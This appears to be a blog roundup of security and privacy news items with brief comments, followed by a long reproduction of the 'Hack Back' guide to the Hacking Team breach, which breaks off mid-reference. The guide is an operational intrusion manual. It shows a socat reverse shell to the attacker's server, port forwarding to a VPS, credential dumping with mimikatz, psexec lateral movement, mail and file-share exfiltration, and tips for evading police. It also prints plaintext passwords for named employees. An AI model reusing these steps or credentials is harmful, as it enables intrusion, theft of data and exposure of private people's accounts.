FindFace Facial Recognition Service Becomes a Weapon Against Russian Porn Actresses

Users of the Russian imageboard “Dvach” (2chan) have launched a campaign to deanonymize Russian actresses who appear in pornography, utilizing a controversial new service called “FindFace.”

Source: Facial Recognition Service Becomes a Weapon Against Russian Porn Actresses – Global Voices Advocacy

What a bunch of pissants – using a creepy stalker app to then send the contacts of porn actresses porn pictures of their friends. To me it sounds like these guys are so jealous of people having sex whilst they never will, that they’d rather just spoil it for everyone and try to make sure there are no more porn actresses.

Malware and non-malware ways for ATM jackpotting. Extended cut – Securelist

Millions of people around the world now use ATMs every day to withdraw cash, pay in to their account or make a variety of payments. Unfortunately, ATM manufacturers and their primary customers – banks – don’t pay much attention to the security of cash machines.

Source: Malware and non-malware ways for ATM jackpotting. Extended cut – Securelist

If you use Waze, hackers can stalk you, add thousands of ghost cars to divert your traffic

Researchers at the University of California-Santa Barbara recently discovered a Waze vulnerability that allowed them to create thousands of “ghost drivers” that can monitor the drivers around them—an exploit that could be used to track Waze users in real-time. They proved it to me by tracking my own movements around San Francisco and Las Vegas over a three-day period.

Here’s how the exploit works. Waze’s servers communicate with phones using an SSL encrypted connection, a security precaution meant to ensure that Waze’s computers are really talking to a Waze app on someone’s smartphone. Zhao and his graduate students discovered they could intercept that communication by getting the phone to accept their own computer as a go-between in the connection. Once in between the phone and the Waze servers, they could reverse-engineer the Waze protocol, learning the language that the Waze app uses to talk to Waze’s back-end app servers. With that knowledge in hand, the team was able to write a program that issued commands directly to Waze servers, allowing the researchers to populate the Waze system with thousands of “ghost cars”—cars that could cause a fake traffic jam or, because Waze is a social app where drivers broadcast their locations, monitor all the drivers around them.

Source: If you use Waze, hackers can stalk you

Cisco Finds Backdoor Installed on 12 Million PCs by French Advertiser Tuto4PC

Cisco’s Talos security intelligence and research group has come across a piece of software that installed backdoors on 12 million computers around the world.The software, which exhibits adware and spyware capabilities, was developed by a French online advertising company called Tuto4PC. The firm, previously known as Eorezo Group and apparently linked to another company called Wizzlabs, has been targeted by French authorities over its questionable practices regarding the installation of unwanted software and harvesting of users’ personal details.
[…]
Researchers determined that the application, installed with administrator rights, was capable not only of downloading and installing other software, such as a known scareware called System Healer, but also of harvesting personal information. Furthermore, experts found that the software is designed to detect the presence of sandboxes, antiviruses, security tools, forensic software and remote access doors.

These “features” have led Cisco Talos to classify the Tuto4PC software as a “full backdoor capable of a multitude of undesirable functions on the victim machine.”

Source: Cisco Finds Backdoor Installed on 12 Million PCs | SecurityWeek.Com

Mad Scientist Builds Fully Functional Hoverbike

Because a thermite-blasting cannon isn’t crazy enough, Colin Furze used a pair of motors and propellers designed for parasailing to build himself a fully functional flying hoverbike. It’s easily one of the mad scientist’s most dangerous builds to date, but seeing how maneuverable it is almost makes us want to build one too.

Source: Mad Scientist Builds Fully Functional Hoverbike

Microsoft Office 365 Flaw Allowed Anyone To Log In To Almost Any Business Account

A severe vulnerability in the way Microsoft Office 365 handles federated identities via SAML put an attacker in a position to have access to any account and data, including emails and files stored in the cloud-based service. Microsoft pushed through a mitigation to the service on Jan. 5, seven hours after being notified by researchers Yiannis Kakavas and Klemen Bratec. “The attack surface was quite big (Outlook Online, OneDrive, Skype for Business, OneNote — depending on what the company has paid for in terms of licensing),” Kakavas and Bratec told Threatpost via email. “And a malicious user exploiting this vulnerability could have gained access to very sensitive private and company information (emails, internal documents etc. ).” Office 365 users who had configured domains as federated were affected. The list includes British Airways, Microsoft, Vodafone, Verizon and many others, as mentioned in a report published late Wednesday.

Source: Office 365 Flaw Allowed Anyone To Log In To Almost Any Business Account – Slashdot

Oops, don’t you love the cloud? 🙂

93.4m Mexican Voters Data found on open US server

In my hands is something dangerous. It is proof that someone moved confidential government data out of Mexico and into the United States. It is a hard drive with 93.4 million downloaded voter registration records— The Mexican voter database.

See the interview with Chris Vickery commenting on this breach:

Before going any further, let’s make one thing very clear. I’m not the one who transmitted the data out of Mexico. Someone else will have to answer for that. However, eight days ago (April 14th), I did discover a publicly accessible database, hosted on an Amazon cloud server, containing these records. There was no password or authentication of any sort required. It was configured purely for public access. Why? I have no clue.

After reporting the situation to the US State Department, DHS, the Mexican Embassy in Washington, the Mexican Instituto Nacional Electoral (INE), and Amazon, the database was finally taken offline April 22nd, 2016.

Under Mexican law, these files are “strictly confidential”, carrying a penalty of up to 12 years in prison for anyone extracting this data from the government for personal gain. We’re talking about names, home addresses, birthdates, a couple of national identification numbers, and a few other bits of info.

Source: BREAKING: Massive Breach of Mexican Voter Data – Blog – MacKeeper™

UK intel agencies spy indiscriminately on millions of innocent folks, have been since  the 90s

The UK’s intelligence agencies (MI5, MI6, and GCHQ) are spying on everything you do, and with only the flimsiest of safeguards in place to prevent abuse, according to more than a thousand pages of documents published today as a result of a lawsuit filed by Privacy International.

The documents reveal the details of so-called “Bulk Personal Datasets,” or BPDs, which can contain “hundreds to millions of records” on people who are not suspected of any wrongdoing.

Source: UK intel agencies spy indiscriminately on millions of innocent folks

Franz – a free messaging app for Slack, Facebook Messenger, WhatsApp, Telegram and more

Franz is a free messaging app / former Emperor of Austria and combines chat & messaging services into one application. He currently supports Slack, WhatsApp, WeChat, HipChat, Facebook Messenger, Telegram, Google Hangouts, GroupMe, Skype and many more. You can download Franz for Mac, Windows & Linux.

Source: Franz – a free messaging app for Slack, Facebook Messenger, WhatsApp, Telegram and more

Combined UK and French Joint Expeditionary Force is now reality

with more than 5,000 personnel from the two countries coming together for Exercise Griffin Strike.

The exercise, which involves a joint French/UK headquarters planning and executing military activity for the first time, will see the CJEF demonstrate ‘full validation of concept’. That means it will be available for bilateral, NATO, EU, UN or coalition operations.

Michael Fallon and his French counterpart Jean-Yves Le Drian visited Exercise Griffin Strike today to witness land, sea and air elements operating as a rapidly deployable UK-France joint force.

The CJEF has been developed since 2010 as a product of the bilateral Lancaster House Treaty and is designed to operate for up to 90 days.

Source: Defence Secretary welcomes deployable UK-France joint force – News stories – GOV.UK

It’s joint, meaning it has land, sea and air components, but I couldn’t find an organisational structure anywhere.

Data protection reform – Parliament approves new rules fit for the digital era

The new rules include provisions on:

  • a right to be forgotten,
  • “clear and affirmative consent” to the processing of private data by the person concerned,
  • a right to transfer your data to another service provider,
  • the right to know when your data has been hacked,
  • ensuring that privacy policies are explained in clear and understandable language, and
  • stronger enforcement and fines up to 4% of firms’ total worldwide annual turnover, as a deterrent to breaking the rules.
  • Source: Data protection reform – Parliament approves new rules fit for the digital era

    So we get simpler EULAs that no one will read either… But it’s nice to have control over your own data and the right to know when your data has been breeched. Not that you can do much with that knowledge, but ok.

    How the hacking team hack was done

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    | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) A DIY Guide ,-._,-._ _,-\ o O_/; / , ` `| | \-.,___, / ` \ `-.__/ / ,.\ / `-.__.-\` ./ \' / /| ___\ ,/ `\ ( ( |.-"` '/\ \ ` \ \/ ,, | \ _ \| o/o / \. \ , / / ( __`;-;'__`) \\ `//'` `||` `\ _// || __ _ _ _____ __ .-"-._,(__) .(__).-""-. | | | | |_ _| | / \ / \ | | |_| | | | | \ / \ / | | _ | | | | `'-------` `--------'` __| |_| |_| |_| |__ #antisec --[ 1 - Introduction ]---------------------------------------------------------- You'll notice the change in language since the last edition [1]. The English-speaking world already has tons of books, talks, guides, and info about hacking. In that world, there's plenty of hackers better than me, but they misuse their talents working for "defense" contractors, for intelligence agencies, to protect banks and corporations, and to defend the status quo. Hacker culture was born in the US as a counterculture, but that origin only remains in its aesthetics - the rest has been assimilated. At least they can wear a t-shirt, dye their hair blue, use their hacker names, and feel like rebels while they work for the Man. You used to have to sneak into offices to leak documents [2]. You used to need a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4]. Like the CNT said after the Gamma Group hack: "Let's take a step forward with new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight! [1] http://pastebin.com/raw.php?i=cRYvK4jb [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI [3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf [5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group --[ 2 - Hacking Team ]---------------------------------------------------------- Hacking Team was a company that helped governments hack and spy on journalists, activists, political opposition, and other threats to their power [1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende RCS". They also claimed to have technology to solve the "problem" posed by Tor and the darknet [13]. But seeing as I'm still free, I have my doubts about its effectiveness. [1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/ [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html [3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/ [4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ [5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/ [6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/ [7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/ [8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal [9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/ [10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/ [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/ [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web --[ 3 - Stay safe out there ]--------------------------------------------------- Unfortunately, our world is backwards. You get rich by doing bad things and go to jail for doing good. Fortunately, thanks to the hard work of people like the Tor project [1], you can avoid going to jail by taking a few simple precautions: 1) Encrypt your hard disk [2] I guess when the police arrive to seize your computer, it means you've already made a lot of mistakes, but it's better to be safe. 2) Use a virtual machine with all traffic routed through Tor This accomplishes two things. First, all your traffic is anonymized through Tor. Second, keeping your personal life and your hacking on separate computers helps you not to mix them by accident. You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or something custom [6]. Here's [7] a detailed comparison. 3) (Optional) Don't connect directly to Tor Tor isn't a panacea. They can correlate the times you're connected to Tor with the times your hacker handle is active. Also, there have been successful attacks against Tor [8]. You can connect to Tor using other peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for cracking wifi. Another option is to connect to a VPN or a bridge node [10] before Tor, but that's less secure because they can still correlate the hacker's activity with your house's internet activity (this was used as evidence against Jeremy Hammond [11]). The reality is that while Tor isn't perfect, it works quite well. When I was young and reckless, I did plenty of stuff without any protection (I'm referring to hacking) apart from Tor, that the police tried their hardest to investigate, and I've never had any problems. [1] https://www.torproject.org/ [2] https://info.securityinabox.org/es/chapter-4 [3] https://www.whonix.org/ [4] https://tails.boum.org/ [5] https://www.qubes-os.org/doc/privacy/torvm/ [6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy [7] https://www.whonix.org/wiki/Comparison_with_Others [8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/ [9] http://www.wifislax.com/ [10] https://www.torproject.org/docs/bridges.html.en [11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html ----[ 3.1 - Infrastructure ]---------------------------------------------------- I don't hack directly from Tor exit nodes. They're on blacklists, they're slow, and they can't receive connect-backs. Tor protects my anonymity while I connect to the infrastructure I use to hack, which consists of: 1) Domain Names For C&C addresses, and for DNS tunnels for guaranteed egress. 2) Stable Servers For use as C&C servers, to receive connect-back shells, to launch attacks, and to store the loot. 3) Hacked Servers For use as pivots to hide the IP addresses of the stable servers. And for when I want a fast connection without pivoting, for example to scan ports, scan the whole internet, download a database with sqli, etc. Obviously, you have to use an anonymous payment method, like bitcoin (if it's used carefully). ----[ 3.2 - Attribution ]------------------------------------------------------- In the news we often see attacks traced back to government-backed hacking groups ("APTs"), because they repeatedly use the same tools, leave the same footprints, and even use the same infrastructure (domains, emails, etc). They're negligent because they can hack without legal consequences. I didn't want to make the police's work any easier by relating my hack of Hacking Team with other hacks I've done or with names I use in my day-to-day work as a blackhat hacker. So, I used new servers and domain names, registered with new emails, and payed for with new bitcoin addresses. Also, I only used tools that are publicly available, or things that I wrote specifically for this attack, and I changed my way of doing some things to not leave my usual forensic footprint. --[ 4 - Information Gathering ]------------------------------------------------- Although it can be tedious, this stage is very important, since the larger the attack surface, the easier it is to find a hole somewhere in it. ----[ 4.1 - Technical Information ]--------------------------------------------- Some tools and techniques are: 1) Google A lot of interesting things can be found with a few well-chosen search queries. For example, the identity of DPR [1]. The bible of Google hacking is the book "Google Hacking for Penetration Testers". You can find a short summary in Spanish at [2]. 2) Subdomain Enumeration Often, a company's main website is hosted by a third party, and you'll find the company's actual IP range thanks to subdomains like mx.company.com or ns1.company.com. Also, sometimes there are things that shouldn't be exposed in "hidden" subdomains. Useful tools for discovering domains and subdomains are fierce [3], theHarvester [4], and recon-ng [5]. 3) Whois lookups and reverse lookups With a reverse lookup using the whois information from a domain or IP range of a company, you can find other domains and IP ranges. As far as I know, there's no free way to do reverse lookups aside from a google "hack": "via della moscova 13" site:www.findip-address.com "via della moscova 13" site:domaintools.com 4) Port scanning and fingerprinting Unlike the other techniques, this talks to the company's servers. I include it in this section because it's not an attack, it's just information gathering. The company's IDS might generate an alert, but you don't have to worry since the whole internet is being scanned constantly. For scanning, nmap [6] is precise, and can fingerprint the majority of services discovered. For companies with very large IP ranges, zmap [7] or masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web sites. [1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf [3] http://ha.ckers.org/fierce/ [4] https://github.com/laramies/theHarvester [5] https://bitbucket.org/LaNMaSteR53/recon-ng [6] https://nmap.org/ [7] https://zmap.io/ [8] https://github.com/robertdavidgraham/masscan [9] http://www.morningstarsecurity.com/research/whatweb [10] http://blindelephant.sourceforge.net/ ----[ 4.2 - Social Information ]------------------------------------------------ For social engineering, it's useful to have information about the employees, their roles, contact information, operating system, browser, plugins, software, etc. Some resources are: 1) Google Here as well, it's the most useful tool. 2) theHarvester and recon-ng I already mentioned them in the previous section, but they have a lot more functionality. They can find a lot of information quickly and automatically. It's worth reading all their documentation. 3) LinkedIn A lot of information about the employees can be found here. The company's recruiters are the most likely to accept your connection requests. 4) Data.com Previously known as jigsaw. They have contact information for many employees. 5) File Metadata A lot of information about employees and their systems can be found in metadata of files the company has published. Useful tools for finding files on the company's website and extracting the metadata are metagoofil [1] and FOCA [2]. [1] https://github.com/laramies/metagoofil [2] https://www.elevenpaths.com/es/labstools/foca-2/index.html --[ 5 - Entering the network ]-------------------------------------------------- There are various ways to get a foothold. Since the method I used against Hacking Team is uncommon and a lot more work than is usually necessary, I'll talk a little about the two most common ways, which I recommend trying first. ----[ 5.1 - Social Engineering ]------------------------------------------------ Social engineering, specifically spear phishing, is responsible for the majority of hacks these days. For an introduction in Spanish, see [1]. For more information in English, see [2] (the third part, "Targeted Attacks"). For fun stories about the social engineering exploits of past generations, see [3]. I didn't want to try to spear phish Hacking Team, as their whole business is helping governments spear phish their opponents, so they'd be much more likely to recognize and investigate a spear phishing attempt. [1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html [2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/ [3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf ----[ 5.2 - Buying Access ]----------------------------------------------------- Thanks to hardworking Russians and their exploit kits, traffic sellers, and bot herders, many companies already have compromised computers in their networks. Almost all of the Fortune 500, with their huge networks, have some bots already inside. However, Hacking Team is a very small company, and most of it's employees are infosec experts, so there was a low chance that they'd already been compromised. ----[ 5.3 - Technical Exploitation ]-------------------------------------------- After the Gamma Group hack, I described a process for searching for vulnerabilities [1]. Hacking Team had one public IP range: inetnum: 93.62.139.32 - 93.62.139.47 descr: HT public subnet Hacking Team had very little exposed to the internet. For example, unlike Gamma Group, their customer support site needed a client certificate to connect. What they had was their main website (a Joomla blog in which Joomscan [2] didn't find anything serious), a mail server, a couple routers, two VPN appliances, and a spam filtering appliance. So, I had three options: look for a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the embedded devices. A 0day in an embedded device seemed like the easiest option, and after two weeks of work reverse engineering, I got a remote root exploit. Since the vulnerabilities still haven't been patched, I won't give more details, but for more information on finding these kinds of vulnerabilities, see [3] and [4]. [1] http://pastebin.com/raw.php?i=cRYvK4jb [2] http://sourceforge.net/projects/joomscan/ [3] http://www.devttys0.com/ [4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A --[ 6 - Be Prepared ]----------------------------------------------------------- I did a lot of work and testing before using the exploit against Hacking Team. I wrote a backdoored firmware, and compiled various post-exploitation tools for the embedded device. The backdoor serves to protect the exploit. Using the exploit just once and then returning through the backdoor makes it harder to identify and patch the vulnerabilities. The post-exploitation tools that I'd prepared were: 1) busybox For all the standard Unix utilities that the system didn't have. 2) nmap To scan and fingerprint Hacking Team's internal network. 3) Responder.py The most useful tool for attacking windows networks when you have access to the internal network, but no domain user. 4) Python To execute Responder.py 5) tcpdump For sniffing traffic. 6) dsniff For sniffing passwords from plaintext protocols like ftp, and for arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR and NaGA, but it was hard to compile it for the system. 7) socat For a comfortable shell with a pty: my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \ tcp:my_server:my_port And useful for a lot more, it's a networking swiss army knife. See the examples section of its documentation. 8) screen Like the shell with pty, it wasn't really necessary, but I wanted to feel at home in Hacking Team's network. 9) a SOCKS proxy server To use with proxychains to be able to access their local network from any program. 10) tgcd For forwarding ports, like for the SOCKS server, through the firewall. [1] https://www.busybox.net/ [2] https://nmap.org/ [3] https://github.com/SpiderLabs/Responder [4] https://github.com/bendmorris/static-python [5] http://www.tcpdump.org/ [6] http://www.monkey.org/~dugsong/dsniff/ [7] http://www.dest-unreach.org/socat/ [8] https://www.gnu.org/software/screen/ [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html [10] http://tgcd.sourceforge.net/ The worst thing that could happen would be for my backdoor or post-exploitation tools to make the system unstable and cause an employee to investigate. So I spent a week testing my exploit, backdoor, and post-exploitation tools in the networks of other vulnerable companies before entering Hacking Team's network. --[ 7 - Watch and Listen ]------------------------------------------------------ Now inside their internal network, I wanted to take a look around and think about my next step. I started Responder.py in analysis mode (-A to listen without sending poisoned responses), and did a slow scan with nmap. --[ 8 - NoSQL Databases ]------------------------------------------------------- NoSQL, or rather NoAuthentication, has been a huge gift to the hacker community [1]. Just when I was worried that they'd finally patched all of the authentication bypass bugs in MySQL [2][3][4][5], new databases came into style that lack authentication by design. Nmap found a few in Hacking Team's internal network: 27017/tcp open mongodb MongoDB 2.6.5 | mongodb-databases: | ok = 1 | totalSizeMb = 47547 | totalSize = 49856643072 ... |_ version = 2.6.5 27017/tcp open mongodb MongoDB 2.6.5 | mongodb-databases: | ok = 1 | totalSizeMb = 31987 | totalSize = 33540800512 | databases ... |_ version = 2.6.5 They were the databases for test instances of RCS. The audio that RCS records is stored in MongoDB with GridFS. The audio folder in the torrent [6] came from this. They were spying on themselves without meaning to. [1] https://www.shodan.io/search?query=product%3Amongodb [2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql [3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c [5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html [6] https://ht.transparencytoolkit.org/audio/ --[ 9 - Crossed Cables ]-------------------------------------------------------- Although it was fun to listen to recordings and see webcam images of Hacking Team developing their malware, it wasn't very useful. Their insecure backups were the vulnerability that opened their doors. According to their documentation [1], their iSCSI devices were supposed to be on a separate network, but nmap found a few in their subnetwork 192.168.1.200/24: Nmap scan report for ht-synology.hackingteam.local (192.168.200.66) ... 3260/tcp open iscsi? | iscsi-info: | Target: iqn.2000-01.com.synology:ht-synology.name | Address: 192.168.200.66:3260,0 |_ Authentication: No authentication required Nmap scan report for synology-backup.hackingteam.local (192.168.200.72) ... 3260/tcp open iscsi? | iscsi-info: | Target: iqn.2000-01.com.synology:synology-backup.name | Address: 10.0.1.72:3260,0 | Address: 192.168.200.72:3260,0 |_ Authentication: No authentication required iSCSI needs a kernel module, and it would've been difficult to compile it for the embedded system. I forwarded the port so that I could mount it from a VPS: VPS: tgcd -L -p 3260 -q 42838 Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1 Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it because it thinks its IP is 192.168.200.72 instead of 127.0.0.1 The way I solved it was: iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1 And now, after: iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login ...the device file appears! We mount it: vmfs-fuse -o ro /dev/sdb1 /mnt/tmp and find backups of various virtual machines. The Exchange server seemed like the most interesting. It was too big too download, but it was possible to mount it remotely to look for interesting files: $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk $ fdisk -l /dev/loop0 /dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT so the offset is 2048 * 512 = 1048576 $ losetup -o 1048576 /dev/loop1 /dev/loop0 $ mount -o ro /dev/loop1 /mnt/exchange/ now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 we find the hard disk of the VM, and mount it: vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/ mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1 ...and finally we've unpacked the Russian doll and can see all the files from the old Exchange server in /mnt/part1 [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf --[ 10 - From backups to domain admin ]----------------------------------------- What interested me most in the backup was seeing if it had a password or hash that could be used to access the live server. I used pwdump, cachedump, and lsadump [1] on the registry hives. lsadump found the password to the besadmin service account: _SC_BlackBerry MDS Connection Service 0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8. 0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!........... I used proxychains [2] with the socks server on the embedded device and smbclient [3] to check the password: proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!' It worked! The password for besadmin was still valid, and a local admin. I used my proxy and metasploit's psexec_psh [4] to get a meterpreter session. Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and got a bunch of passwords, including the Domain Admin: HACKINGTEAM BESAdmin bes32678!!! HACKINGTEAM Administrator uu8dd8ndd12! HACKINGTEAM c.pozzi P4ssword <---- lol great sysadmin HACKINGTEAM m.romeo ioLK/(90 HACKINGTEAM l.guerra 4luc@=.= HACKINGTEAM d.martinez W4tudul3sp HACKINGTEAM g.russo GCBr0s0705! HACKINGTEAM a.scarafile Cd4432996111 HACKINGTEAM r.viscardi Ht2015! HACKINGTEAM a.mino A!e$$andra HACKINGTEAM m.bettini Ettore&Bella0314 HACKINGTEAM m.luppi Blackou7 HACKINGTEAM s.gallucci 1S9i8m4o! HACKINGTEAM d.milan set!dob66 HACKINGTEAM w.furlan Blu3.B3rry! HACKINGTEAM d.romualdi Rd13136f@# HACKINGTEAM l.invernizzi L0r3nz0123! HACKINGTEAM e.ciceri 2O2571&2E HACKINGTEAM e.rabe erab@4HT! [1] https://github.com/Neohapsis/creddump7 [2] http://proxychains.sourceforge.net/ [3] https://www.samba.org/ [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf [5] https://github.com/gentilkiwi/mimikatz --[ 11 - Downloading the mail ]------------------------------------------------- With the Domain Admin password, I have access to the email, the heart of the company. Since with each step I take there's a chance of being detected, I start downloading their email before continuing to explore. Powershell makes it easy [1]. Curiously, I found a bug with Powershell's date handling. After downloading the emails, it took me another couple weeks to get access to the source code and everything else, so I returned every now and then to download the new emails. The server was Italian, with dates in the format day/month/year. I used: -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')} with New-MailboxExportRequest to download the new emails (in this case all mail since June 5). The problem is it says the date is invalid if you try a day larger than 12 (I imagine because in the US the month comes first and you can't have a month above 12). It seems like Microsoft's engineers only test their software with their own locale. [1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/ --[ 12 - Downloading Files ]---------------------------------------------------- Now that I'd gotten Domain Admin, I started to download file shares using my proxy and the -Tc option of smbclient, for example: proxychains smbclient '//192.168.1.230/FAE DiskStation' \ -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*' I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in the torrent like that. --[ 13 - Introduction to hacking windows domains ]------------------------------ Before continuing with the story of the "weones culiaos" (Hacking Team), I should give some general knowledge for hacking windows networks. ----[ 13.1 - Lateral Movement ]------------------------------------------------- I'll give a brief review of the different techniques for spreading withing a windows network. The techniques for remote execution require the password or hash of a local admin on the target. By far, the most common way of obtaining those credentials is using mimikatz [1], especially sekurlsa::logonpasswords and sekurlsa::msv, on the computers where you already have admin access. The techniques for "in place" movement also require administrative privileges (except for runas). The most important tools for privilege escalation are PowerUp [2], and bypassuac [3]. [1] https://adsecurity.org/?page_id=1821 [2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1 Remote Movement: 1) psexec The tried and true method for lateral movement on windows. You can use psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's invoke_psexec [4], or the builtin windows command "sc" [5]. For the metasploit module, powershell empire, and pth-winexe [6], you just need the hash, not the password. It's the most universal method (it works on any windows computer with port 445 open), but it's also the least stealthy. Event type 7045 "Service Control Manager" will appear in the event logs. In my experience, no one has ever noticed during a hack, but it helps the investigators piece together what the hacker did afterwards. 2) WMI The most stealthy method. The WMI service is enabled on all windows computers, but except for servers, the firewall blocks it by default. You can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin wmic [5]. All except wmic just need the hash. 3) PSRemoting [10] It's disabled by default, and I don't recommend enabling new protocols. But, if the sysadmin has already enabled it, it's very convenient, especially if you use powershell for everything (and you should use powershell for almost everything, it will change [11] with powershell 5 and windows 10, but for now powershell makes it easy to do everything in RAM, avoid AV, and leave a small footprint) 4) Scheduled Tasks You can execute remote programs with at and schtasks [5]. It works in the same situations where you could use psexec, and it also leaves a well known footprint [12]. 5) GPO If all those protocols are disabled or blocked by the firewall, once you're Domain Admin, you can use GPO to give users a login script, install an msi, execute a scheduled task [13], or, like we'll see with the computer of Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and open the firewall. [1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx [2] https://sourceforge.net/projects/winexe/ [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh [4] http://www.powershellempire.com/?page_id=523 [5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/ [6] https://github.com/byt3bl33d3r/pth-toolkit [7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py [8] https://www.trustedsec.com/june-2015/no_psexec_needed/ [9] http://www.powershellempire.com/?page_id=124 [10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/ [11] https://adsecurity.org/?p=2277 [12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py "In place" Movement: 1) Token Stealing Once you have admin access on a computer, you can use the tokens of the other users to access resources in the domain. Two tools for doing this are incognito [1] and the mimikatz token::* commands [2]. 2) MS14-068 You can take advantage of a validation bug in Kerberos to generate Domain Admin tickets [3][4][5]. 3) Pass the Hash If you have a user's hash, but they're not logged in, you can use sekurlsa::pth [2] to get a ticket for the user. 4) Process Injection Any RAT can inject itself into other processes. For example, the migrate command in meterpreter and pupy [6], or the psinject [7] command in powershell empire. You can inject into the process that has the token you want. 5) runas This is sometimes very useful since it doesn't require admin privileges. The command is part of windows, but if you don't have a GUI you can use powershell [8]. [1] https://www.indetectables.net/viewtopic.php?p=211165 [2] https://adsecurity.org/?page_id=1821 [3] https://github.com/bidord/pykek [4] https://adsecurity.org/?p=676 [5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html [6] https://github.com/n1nj4sec/pupy [7] http://www.powershellempire.com/?page_id=273 [8] 